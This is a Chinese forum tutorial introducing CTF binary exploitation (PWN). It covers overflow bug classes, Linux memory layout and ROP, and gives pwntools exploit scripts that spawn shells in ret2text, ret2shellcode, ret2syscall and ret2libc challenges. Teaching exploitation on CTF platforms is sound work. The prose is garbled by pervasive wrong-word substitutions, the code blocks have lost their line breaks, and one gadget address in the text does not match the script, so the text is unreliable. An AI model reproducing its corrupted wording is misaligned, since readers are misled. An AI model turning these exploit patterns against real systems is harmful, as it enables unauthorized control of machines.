【二进制安全】PWN底子入门大全(超详细),零底子入门到精通,看这一篇就 ...

海哥  金牌会员 | 2025-3-24 01:44:19 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 974|帖子 974|积分 2922

一、什么是PWN

PWN是一个黑客之间使用的词语,通常指攻破装备或体系。发音类似“砰”,对黑客而言,这象征着成功实行黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被操纵了。在网络安全语境中,PWN通常指的是通过差别的攻击手段如使用毛病、举行社会工程学攻击等方法成功地获得了一个装备、体系或网络的未授权控制权。一旦攻击者“PWN了”一个体系,他们就可以执行各种恶意活动,如窃取数据、安装恶意软件或制造更广泛的粉碎。
在CTF(Capture The Flag)等黑客竞赛中,PWN任务常常涉及在一个受限制的环境中寻找和使用毛病来访问受掩护的资源或体系。具体来说,PWN标题通常会提供一个用C或C++编写的步伐,该步伐运行在目标服务器上,参赛者需要通过网络与服务器举行交互,使用步伐中的毛病(如栈溢出、堆溢出、整数溢出、格式化字符串毛病等)来造成内存粉碎,进而获取远程盘算机的shell,并最终获得flag。
二、常见PWN毛病



  • 栈溢出(Stack Overflow)
栈溢出是一种常见的安全毛病,它使用了步伐在执行过程中使用的栈内存空间有限的特性。栈是一种数据布局,用来存储函数的局部变量、函数的参数以及函数调用的返回地点等信息。栈的特点是先进后出,即末了进入栈的数据最先被访问到。当攻击者向步伐输入过多的数据时,这些数据会超出栈内存所能容纳的范围,从而覆盖了栈中的其他数据,乃至覆盖了函数返回地点。一旦返回地点被篡改,步伐就会跳转到攻击者指定的代码执行,从而实现任意代码执行的攻击。


  • 堆溢出(Heap Overflow)
堆溢出是另一种内存溢出毛病,但与栈溢出差别,它发生在步伐的堆内存地域。堆是用来动态分配内存的地域,步伐员可以请求分配任意大小的内存块,并在步伐运行期间随时释放它们。堆溢出通常是由于步伐在写入数据时超出了申请的内存块大小,导致数据覆盖了相邻的内存块。


  • 整数溢出(Integer Overflow)
整数溢出发生在将一个较大的整数赋值给一个较小范围的整数变量时,导致数据超出该变量的存储范围并发生溢出。这种溢出可能导致数据被截断、覆盖或产生不正确的盘算结果。攻击者可以使用整数溢出毛病来绕过安全限制、绕过认证机制或执行其他恶意操纵。


  • 格式化字符串毛病(Format String Vulnerability)
格式化字符串毛病通常发生在C语言等编程语言中,当步伐不正确地处置惩罚格式化字符串函数(如printf、sprintf等)的输入时。攻击者可以通过构造特制的格式化字符串来读取或写入任意内存地点的数据,乃至执行任意代码。


  • ROP(Return-oriented Programming)
ROP是一种使用步伐中的现有代码片段(称为“gadgets”)来执行攻击者意图的技术。在启用了某些安全掩护(如NX位、ASLR等)的环境中,传统的栈溢出攻击可能难以直接执行shellcode。ROP通过覆盖返回地点为步伐中的某个gadget的地点,并使用一系列这样的gadgets来构建攻击载荷,最终实现攻击者的目标。
三、PWN环境搭建


  • 安装pwntools模块
  1. sudo apt-get install python3-pippip3 install pwntools
复制代码


  • 安装gdb工具和gef插件
  1. sudo apt-get install gdbsudo git clone https://github.com/hugsy/gefcp gef/gef.py ~/.gdbinit-gef.pyecho source ~/.gdbinit-gef.py > ~/.gdbinit
复制代码


  • 安装qemu模拟器
  1. sudo apt-get install qemusudo apt-get install qemu-system qemu-user qemu-user-static binfmt-support
复制代码

  • 安装依靠和模块
  1. sudo apt-get install gcc-arm-linux-gnueabisudo apt install gcc-mipsel-linux-gnusudo apt install gcc-mips-linux-gnusudo apt-get install gdb-multiarchpip3 install ropgadgetpip3 install ropper
复制代码
四、PWN底子解说

1. Linux内存布局



  • 栈段(Stack):用于存放非静态的局部变量、函数调用过程的栈帧信息等,地点空间向下生长,由编译器自动分配和释放,栈大小在运行时由内核动态调解,栈动态增长后就不会再收缩。
  • 内存映射段(Memory Mapping Segment):也称为文件映射区和匿名映射区,加载的动态库、打开的文件等均映射到该地域。
  • 堆段(Heap):运行时可动态分配的内存段,向上生长,由用户举行申请和释放等管理操纵。
  • BSS段(BSS segment):具有读写权限,用于存放初始值为0或未初始化的全局变量、静态变量,这块内存会由操纵体系初始化为0。
  • 数据段(Data segment):具有读写权限,用于存放初始值非0的全局变量、静态变量。
  • 代码段(Text segment):具有只读权限,用于存放可执行步伐、字符串、只读变量等。如界说的const变量、printf函数的格式化字符串等。
2. 经典栈溢出

2.1. 栈说明

栈是一种数据布局,遵循后进先出的原则(Last in First Out),主要有压栈(push)与出栈(pop)两种操纵eax, ebx, ecx, edx, esi, edi, ebp, esp等都是X86 汇编语言中CPU上的通用寄存器的名称,是32位的寄存器。假如用C语言来表明,可以把这些寄存器看成变量对待。在栈中,esp生存栈帧的栈顶地点,ebp生存栈帧的栈底地点。步伐的栈是从进程地点空间的高地点向低地点增长的。
2.2. 栈溢出原理

栈溢出指的是步伐向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出毛病,类似的还有堆溢出,bss段溢出等溢出方式。栈溢出毛病轻则可以使步伐崩溃,重则可以使攻击者控制步伐执行流程。
栈溢出的条件是:步伐向栈上写入数据,数据的长度不受控制。
最简朴的栈溢出就是通过溢出,覆盖步伐的返回地点,将返回地点覆盖为system(“/bin/sh”)的地点。
2.3. 简朴栈溢出使用

通过CTFHUB平台技能树中的ret2text题举行栈溢出学习。
首先下载附件,使用checksec工具检查步伐开启的掩护:

该步伐未开启掩护,并且是amd的64位步伐,拖入ida举行静态分析:

阅读代码发现步伐调用了gets函数,gets本身是一个危险函数,它不会对字符串的长度举行校验,而是以回车判断输入是否结束,存在栈溢出毛病,shift+f12发现步伐中有可执行后门system(“/bin/sh”):

那么溢出ret到执行system(“/bin/sh”)的地点即可,双击/bin/sh,ctrl+x追踪到/bin/sh的地点为0x04007B8:

检察v4,发现设定的v4长度为0x70,同时由于是64位体系,需要+8字节覆盖掉ebp(32位体系+4字节覆盖掉ebp):


接下来就可以编写exp,运行成功获取shell:
  1. from pwn import * p = remote("challenge-5ed622b3b63a7e82.sandbox.ctfhub.com",28525)#/bin/sh的地址shell_addr = 0x04007B8#生成0x70+8个垃圾数据覆盖参数和ebp,然后把/bin/sh的地址写入返回地址payload = b'a' * (0x70+8) + p64(shell_addr)  p.sendline(payload)p.interactive()
复制代码

总结栈溢出毛病使用两个紧张步骤:

  • 寻找危险函数( gets、scanf、vscanf、sprintf、strcpy、strcat、bcopy等)
  • 确定填充长度,盘算要操纵的地点与要覆盖的地点的间隔
3. 常见ROP栈溢出使用

3.1. ret2shellcode

shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标体系的shell。使用方式是将shellcode写入步伐,然后使用栈溢出将eip的返回地点覆盖为shellcode的地点,进而让步伐执行shellcode。这就需要步伐中存在一个位置能够让我们写入shellcode并执行(比如bss段)。
以NewStarCTF平台中的ret2shellcode题为例。
将附件拖入IDA,留意mmap函数,它是向文件映射去申请一块内存,是动态库,共享内存等映射物理空间的内存:

通过pwndbg可以看到,映射的地域有可执行权限:

而且mmap指定了buf的起始地点为0x233000,因此可以使用第一个read向buff中写入shellcode,再通过第二个read举行栈溢出,将返回地点覆盖为0x233000,末了编写exp运行获取shell。
  1. from pwn import *context(os='linux', arch='amd64', log_level='debug')#用pwntools生成shellcodeshellcode = asm(shellcraft.sh())p = remote('219.219.61.234',49544)p.recvline()#把shellcode写入bufp.sendline(shellcode)p.recvline()#计算偏移,栈溢出到bufpayload = b'a' * (0x30+8) + p64(0x233000)p.sendline(payload)p.interactive()
复制代码
3.2. ret2syscall

ret2syscall,即控制步伐执行体系调用获取shell。
体系调用是指由操纵体系提供的供全部体系调用的步伐接口集合,用户步伐通常只在用户态下运行,当用户步伐想要调用只能在内核态运行的子步伐时,操纵体系需要提供访问这些内核态运行的步伐的接口,这些接口的集合就叫做体系调用,简要的说,体系调用是内核向用户进程提供服务的唯一方法。
用户步伐通过体系调用从用户态(user mode)切换到核心态(kernel mode ),从而可以访问相应的资源。要使用体系调用,需要通过汇编指令int 0x80实现,用体系调用号来区分入口函数。
以CTFWIKI平台中的ret2syscall题为例。
首先检测步伐开启的掩护:

看到为32位,还开启了NX掩护,拖入IDA检察源代码:

可以看到依然是gets函数的栈溢出,但是由于步伐本身没有后门,并且无法本身写入shellcode来获得shell,这是就要用到体系调用。
简朴地说,只要我们把对应获取shell的体系调用的参数放到对应的寄存器中,那么我们再执行int 0x80就可执行对应的体系调用。这里可以用execve("/bin/sh",NULL,NULL)这个体系调用来获取shell,其中execve对应的体系调用号为0xb。
由于步伐是32位的,按照execve("/bin/sh",NULL,NULL),令eax为execve的体系调用号0xb,第一个参数ebx指向/bin/sh,ecx和edx为0。
而我们怎样控制这些寄存器的值呢?这里就需要使用gadgets。比如说,如今栈顶是10,那么假如此时执行了pop eax,那么如今eax的值就为10。但是我们并不能等候有一段连续的代码可以理想控制对应的寄存器,所以我们需要一段一段控制,这里需要用到ROPgadget工具寻找gadget。

先找到控制eax的gadget,这几个都可以控制eax,这里使用第二个。再找控制ebx的gadget:

以上都可以使用,由于0x0806eb68可以控制三个寄存器,所以选用这个地点。然后找到/bin/sh的地点:

以及int 0x80的地点:

末了编写exp脚本,运行获取shell。
  1. from pwn import *p = process('./rop')pop_eax_ret = 0x080bb196pop_ebx_ecx_edx_ret = 0x0806eb90sh = 0x080be408int_0x80 = 0x08049421payload = b'a' * 112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_ebx_ecx_edx_ret) + p32(0) + p32(0) + p32(sh) + p32(int_0x80)p.sendline(payload)p.interactive()
复制代码
3.3. ret2libc

ret2libc即控制函数执行libc中的函数,通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。一般情况下,我们会选择执行system(“/bin/sh”),故而此时我们需要知道system函数的地点。
以NewStarCTF平台的ret2libc题举行学习。
首先下载附件,得到一个步伐以及步伐用到的libc,将步伐拖入IDA分析:

很明显fgets处存在栈溢出,但通过寻找,没有发现可使用的函数:

根据动态链接和耽误绑定技术,运用任意地点读写技术对某个函数的GOT表举行改写,使其指向想要执行的危险函数(如system,execve函数)
操纵体系通常使用动态链接的方法来提高步伐运行的服从。那么在动态链接的情况下,步伐加载的时候并不会把链接库中全部函数都一起加载进来,而是步伐执行的时候按需加载,也就是控制执行libc(对应版本)中的函数,通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。一般情况下,我们会选择执行system(“/bin/sh”)或者execve(“/bin/sh”,NULL,NULL),故而此时我们需要知道system函数的地点。
所以首先要做的是通过栈溢出,泄漏出puts真实的地点,然后盘算真实地点与libc中puts地点的偏移,进而盘算出system与/bin/sh的地点,同时还要获取rdi、ret与main函数的地点。

可以使用pwndbg工具寻找main函数的起始地点:

末了构造exp脚本,运行获取shell。
  1. from pwn import *
  2. elf = ELF('./pwn')libc = ELF('./libc-2.31.so')#p = process('./pwn')p = remote('node4.buuoj.cn',25948)
  3. #puts的plt表与got表地址puts_plt = elf.plt['puts'] puts_got = elf.got['puts']
  4. #libc中puts、system、/bin/sh的地址libc_puts = libc.symbols['puts']libc_system = libc.symbols['system']libc_sh = libc.search(b'/bin/sh').__next__()
  5. pop_ret_rdi = 0x400753main = 0x400698ret = 0x40050e
  6. p.recvuntil(b'time?\n')#64位的payload构成:栈溢出+pop rdi地址+泄露函数的got表地址+泄露函数的plt地址+ret指令(这里ret回main函数是为了跳回程序开头重新执行程序)payload = b'a' * (0x20+8) + p64(pop_ret_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)p.sendline(payload)
  7. #直到7f出现的位置作为终点,开始往前读6个字节数据,然后再8字节对齐,不足8位补\x00#\x7f是64位程序函数地址的默认开头,-6就是从倒数第6个字节开始取,在内存中是倒着放的#32位u32(r.recv()[0:4])puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) #puts函数的真实地址#偏移base = puts_addr - libc_puts#真实的system和/bin/sh地址system_addr = base + libc_systemsh_addr = base + libc_sh
  8. payload = b'a' * (0x20+8) + p64(ret) + p64(pop_ret_rdi) + p64(sh_addr) + p64(system_addr)p.sendline(payload)p.interactive()
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

海哥

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表